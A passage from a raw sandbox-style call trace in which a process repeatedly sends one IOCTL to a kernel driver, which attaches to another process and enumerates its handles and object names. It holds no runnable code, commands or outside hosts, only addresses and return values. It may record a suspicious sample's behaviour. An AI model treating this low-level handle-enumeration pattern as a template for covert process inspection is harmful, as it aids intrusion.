lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0136.724] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.724] PsAcquireProcessExitSynchronization () returned 0x0 [0136.724] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.724] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f6b070, HandleInformation=0x0) returned 0x0 [0136.724] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.724] PsReleaseProcessExitSynchronization () returned 0x2 [0136.724] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.724] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.724] ObfDereferenceObject (Object=0xfffffa8002f6b070) returned 0x1 [0136.725] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.725] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.725] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0136.725] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.725] PsAcquireProcessExitSynchronization () returned 0x0 [0136.725] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.725] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f6bbc0, HandleInformation=0x0) returned 0x0 [0136.725] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.725] PsReleaseProcessExitSynchronization () returned 0x2 [0136.725] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.725] ObQueryNameString (in: Object=0xfffffa8002f6bbc0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.725] ObfDereferenceObject (Object=0xfffffa8002f6bbc0) returned 0x1 [0136.725] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.725] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.725] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.725] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.725] PsAcquireProcessExitSynchronization () returned 0x0 [0136.725] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.725] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f6bf20, HandleInformation=0x0) returned 0x0 [0136.725] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.725] PsReleaseProcessExitSynchronization () returned 0x2 [0136.725] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.725] ObQueryNameString (in: Object=0xfffffa8002f6bf20, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.725] ObfDereferenceObject (Object=0xfffffa8002f6bf20) returned 0x2 [0136.725] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.725] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.725] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0136.725] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.725] PsAcquireProcessExitSynchronization () returned 0x0 [0136.725] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.726] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f6b920, HandleInformation=0x0) returned 0x0 [0136.726] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.726] PsReleaseProcessExitSynchronization () returned 0x2 [0136.726] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.726] ObQueryNameString (in: Object=0xfffffa8002f6b920, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.726] ObfDereferenceObject (Object=0xfffffa8002f6b920) returned 0x2 [0136.726] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.726] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.726] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0136.726] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.726] PsAcquireProcessExitSynchronization () returned 0x0 [0136.726] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.726] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f6b7d0, HandleInformation=0x0) returned 0x0 [0136.726] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.726] PsReleaseProcessExitSynchronization () returned 0x2 [0136.726] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.726] ObQueryNameString (in: Object=0xfffffa8002f6b7d0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.726] ObfDereferenceObject (Object=0xfffffa8002f6b7d0) returned 0x1 [0136.726] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.726] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.726] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.726] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.726] PsAcquireProcessExitSynchronization () returned 0x0 [0136.726] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.726] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800323d070, HandleInformation=0x0) returned 0x0 [0136.726] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.726] PsReleaseProcessExitSynchronization () returned 0x2 [0136.726] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.726] ObQueryNameString (in: Object=0xfffffa800323d070, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.726] ObfDereferenceObject (Object=0xfffffa800323d070) returned 0x2 [0136.726] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.726] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.727] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.727] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.727] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.727] PsAcquireProcessExitSynchronization () returned 0x0 [0136.727] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.727] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800323dc80, HandleInformation=0x0) returned 0x0 [0136.727] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.727] PsReleaseProcessExitSynchronization () returned 0x2 [0136.727] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.727] ObQueryNameString (in: Object=0xfffffa800323dc80, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.727] ObfDereferenceObject (Object=0xfffffa800323dc80) returned 0x2 [0136.727] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.727] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.727] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.727] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0136.727] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.727] PsAcquireProcessExitSynchronization () returned 0x0 [0136.727] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.727] ObReferenceObjectByHandle (in: Handle=0x498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800323ecc0, HandleInformation=0x0) returned 0x0 [0136.727] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.727] PsReleaseProcessExitSynchronization () returned 0x2 [0136.727] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.727] ObQueryNameString (in: Object=0xfffffa800323ecc0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.727] ObfDereferenceObject (Object=0xfffffa800323ecc0) returned 0x2 [0136.727] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.727] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.727] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.727] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.727] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.727] PsAcquireProcessExitSynchronization () returned 0x0 [0136.727] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.727] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f6ea80, HandleInformation=0x0) returned 0x0 [0136.727] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.728] PsReleaseProcessExitSynchronization () returned 0x2 [0136.728] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.728] ObQueryNameString (in: Object=0xfffffa8002f6ea80, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.728] ObfDereferenceObject (Object=0xfffffa8002f6ea80) returned 0x2 [0136.728] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.728] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.728] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.728] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.728] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.728] PsAcquireProcessExitSynchronization () returned 0x0 [0136.728] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.728] ObReferenceObjectByHandle (in: Handle=0x4a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003247a30, HandleInformation=0x0) returned 0x0 [0136.728] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.728] PsReleaseProcessExitSynchronization () returned 0x2 [0136.728] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.728] ObQueryNameString (in: Object=0xfffffa8003247a30, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.728] ObfDereferenceObject (Object=0xfffffa8003247a30) returned 0x2 [0136.728] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.728] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.728] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.728] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.728] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.728] PsAcquireProcessExitSynchronization () returned 0x0 [0136.728] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.728] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032d1680, HandleInformation=0x0) returned 0x0 [0136.728] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.728] PsReleaseProcessExitSynchronization () returned 0x2 [0136.728] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.728] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.728] ObfDereferenceObject (Object=0xfffffa80032d1680) returned 0x1 [0136.728] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.728] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.728] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0136.729] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.729] PsAcquireProcessExitSynchronization () returned 0x0 [0136.729] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.729] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00103b620, HandleInformation=0x0) returned 0x0 [0136.729] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.729] PsReleaseProcessExitSynchronization () returned 0x2 [0136.729] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.729] ObQueryNameString (in: Object=0xfffff8a00103b620, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.729] ObfDereferenceObject (Object=0xfffff8a00103b620) returned 0x2 [0136.729] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.729] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.729] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0136.729] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.729] PsAcquireProcessExitSynchronization () returned 0x0 [0136.729] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.729] ObReferenceObjectByHandle (in: Handle=0x50c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0136.729] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.729] PsReleaseProcessExitSynchronization () returned 0x2 [0136.729] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.729] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.729] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x3 [0136.729] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.729] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.729] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0136.730] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.730] PsAcquireProcessExitSynchronization () returned 0x0 [0136.730] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.730] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0136.730] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.730] PsReleaseProcessExitSynchronization () returned 0x2 [0136.730] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.730] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.730] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x3 [0136.730] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.730] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.730] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.730] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0136.730] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.730] PsAcquireProcessExitSynchronization () returned 0x0 [0136.730] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.730] ObReferenceObjectByHandle (in: Handle=0x518, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089ce580, HandleInformation=0x0) returned 0x0 [0136.730] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.730] PsReleaseProcessExitSynchronization () returned 0x2 [0136.730] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.730] ObQueryNameString (in: Object=0xfffff8a0089ce580, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.730] ObfDereferenceObject (Object=0xfffff8a0089ce580) returned 0x2 [0136.730] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.730] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.730] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.730] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0136.730] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.730] PsAcquireProcessExitSynchronization () returned 0x0 [0136.730] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.730] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003414070, HandleInformation=0x0) returned 0x0 [0136.730] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.730] PsReleaseProcessExitSynchronization () returned 0x2 [0136.730] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.730] ObQueryNameString (in: Object=0xfffffa8003414070, 